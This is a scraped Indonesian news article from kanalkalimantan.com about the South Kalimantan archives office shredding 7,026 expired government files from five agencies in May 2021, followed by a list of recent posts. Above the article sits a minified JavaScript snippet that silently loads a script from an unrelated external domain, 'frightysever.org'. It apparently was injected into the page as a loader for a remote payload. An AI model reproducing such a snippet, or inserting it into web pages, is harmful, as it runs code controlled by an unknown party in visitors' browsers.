(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dispersip Kalsel

7.026 Berkas Warsa 1971-2005 Dimusnahkan, Lima Instansi Era Provinsi Dati 1 Kalsel


KANALKALIMANTAN.COM, BANJARBARU – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) melakukan pemusnahaan arsip sebanyak 7.026 berkas, Rabu (5/5/2021).

Arsip yang dimusnahkan berasal dari lima instansi Pemerintah Provinsi Kalsel yang selama ini disimpan Depo Arsip Kalsel di Banjarbaru berwarsa alias kurun waktu tahun 1971 hingga 2005.

“Untuk kegiatan pemusnahan fisik arsip hari ini sebanyak 7.026 berkas yang berasal dari lima instansi,” kata Sekretaris Dispersip Kalsel, Dr M Ramadhan SE ME, Rabu (5/5/2021) siang.

Baca juga: Dukung Gerakan Cinta Zakat, Bupati Banjar dan Pejabat Serahkan Zakat Rp 59,6 Juta

 

Pemusnahaan dengan menggunakaan mesin pencacah kertas, Rabu (5/5/2021). Foto: al

Lima instansi yang arsipnya dimusnahkan itu, sebut Sekretaris Dispersip Kalsel, Dinas Tenaga Kerja dan Transmigrasi Provinsi Dati I Kalsel, Dinas Pendidikan dan Kebudayaan Provinsi Dati I Kalsel, Badan Pembinaan Pendidikan Pelaksanaan Pedoman Penghayataan dan Pengamalan Pancasila (BP-7) Provinsi Dati 1 Kalsel, Badan Pemberdayaan Masyarakat dan Perempuan Provinsi Dati 1 Kalsel, dan Dinas Kesehatan Provinsi Dati 1 Kalsel.

“Ini kegiatan pemusnahaan ketigabelas kalinya dilakukan Dispersip Kalsel sejak tahun 2002 hingga tahun 2021 ini,” kata Ramadhan.

Arsip yang dimusnahkan berasal dari Dinas Tenaga Kerja dan Transmigrasi Provinsi Dati 1 Kalsel berjumlah 631 berkas periode tahun 1988-2002. Dinas Pendidikan dan Kebudataan Provinsi Dati 1 Kalsel sebanyak 3.202 berkas periode tahun 1971-2001.

Berkas dari BP-7 Provinsi Dati 1 Kalsel sebanyak 1.486 berkas periode tahun 1978-1999. Badan Pemberdayaan Masyarakat dan Perempuan Provinsi Dati 1 Kalsel sebanyak 736 berkas periode tahun 1979-2005.

Baca juga: Pererat Persaudaraan Sesama Warga Dayak, FIDN Kalsel Gelar Bukber

Sementara dari Dinas Kesehatan Provinsi Dati 1 Kalsel sebanyak 989 berkas periode tahun 1971-2005. Sebanyak 7.026 berkas yang dimusnahkan itu yang telah habis masa retensi arsipnya.

“Pemusnahan arsip tak terpakai itu, sudah lewat masa usia atau sudah lewat masa retensinya dan dalam pemusnahan tidak sembarang,” kata Ramadhan.

Saat acara pemusnahaan arsip lima instansi era Provinsi Dati 1 Kalsel itu, dihadiri Sekretaris Daerah (Sekda) Kota Banjarbaru Said Abdullah dan perwakilan dinas yang arsipnya dimusnahkan.

Pemusnahan dilakukan dengan mesin pencacah kertas yang dimiliki Depo Arsip Kalsel di Banjarbaru. Secara simbolis dilakukan Sekda Kota Banjarbaru Said Abdullah didampingi Sekretaris Dispersip Kalsel M Ramadhan. (kanalkalimantan.com/al)

Reporter: al
Editor: kk


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.